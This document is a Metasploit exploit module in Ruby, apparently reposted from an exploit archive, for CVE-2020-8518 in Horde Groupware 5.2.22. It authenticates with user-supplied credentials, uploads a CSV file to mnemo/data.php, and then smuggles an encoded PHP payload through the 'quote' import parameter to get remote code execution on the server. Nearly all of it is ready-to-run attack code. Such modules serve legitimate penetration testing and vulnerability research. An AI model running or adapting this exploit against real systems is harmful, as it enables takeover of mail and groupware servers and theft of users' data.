Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(  
update_info(  
info,  
'Name' => 'Horde CSV import arbitrary PHP code execution',  
'Description' => %q{  
  
The Horde_Data module version 2.1.4 (and before) present in Horde  
Groupware version 5.2.22 allows authenticated users to inject  
arbitrary PHP code thus achieving RCE on the server hosting the web  
application.  
  
},  
'License' => MSF_LICENSE,  
'Author' => ['Andrea Cardaci <cyrus.and@gmail.com>'],  
'References' => [  
['CVE', '2020-8518'],  
['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']  
],  
'DisclosureDate' => '2020-02-07',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Automatic', {}]],  
'Payload' => {'BadChars' => "'"},  
'Privileged' => false,  
'DefaultOptions' => { 'PrependFork' => true },  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path to the web application', '/']),  
OptString.new('USERNAME', [true, 'The username to authenticate with']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with'])  
])  
end  
  
def login  
username = datastore['USERNAME']  
password = datastore['PASSWORD']  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'login.php'),  
'cookie' => 'Horde=x', # avoid multiple Set-Cookie  
'vars_post' => {  
'horde_user' => username,  
'horde_pass' => password,  
'login_post' => '1'})  
unless res && res.code == 302 && res.headers['Location'].include?('/services/portal/')  
fail_with(Failure::UnexpectedReply, 'Login failed or application not found')  
end  
  
vprint_good("Logged in as #{username}:#{password}")  
return res.get_cookies  
end  
  
def upload_csv(cookie)  
csv_fname = Rex::Text.rand_text_alpha(6..8)  
  
data = Rex::MIME::Message.new  
data.add_part('11', nil, nil, 'form-data; name="actionID"')  
data.add_part('1', nil, nil, 'form-data; name="import_step"')  
data.add_part('csv', nil, nil, 'form-data; name="import_format"')  
data.add_part('x', nil, nil, 'form-data; name="notepad_target"')  
data.add_part(csv_fname, nil, nil, "form-data; name=\"import_file\"; filename=\"#{csv_fname}\"")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'mnemo/data.php'),  
'cookie' => cookie,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s)  
  
vprint_status("Uploading #{csv_fname}.csv")  
  
unless res && res.code == 200  
fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')  
end  
  
vprint_good('CSV file uploaded')  
end  
  
def execute(cookie, function_call)  
options = {  
'method' => 'POST',  
'uri' => normalize_uri(target_uri, 'mnemo/data.php'),  
'cookie' => cookie,  
'vars_post' => {  
'actionID' => '3',  
'import_step' => '2',  
'import_format' => 'csv',  
'header' => '1',  
'fields' => '1',  
'sep' => 'x',  
'quote' => ").#{function_call}.die();}//\\"}}  
  
send_request_cgi(options)  
end  
  
def exploit  
cookie = login()  
upload_csv(cookie)  
# do not terminate the statement  
function_call = payload.encoded.tr(';', '')  
vprint_status("Sending payload: #{function_call}")  
execute(cookie, function_call)  
end  
end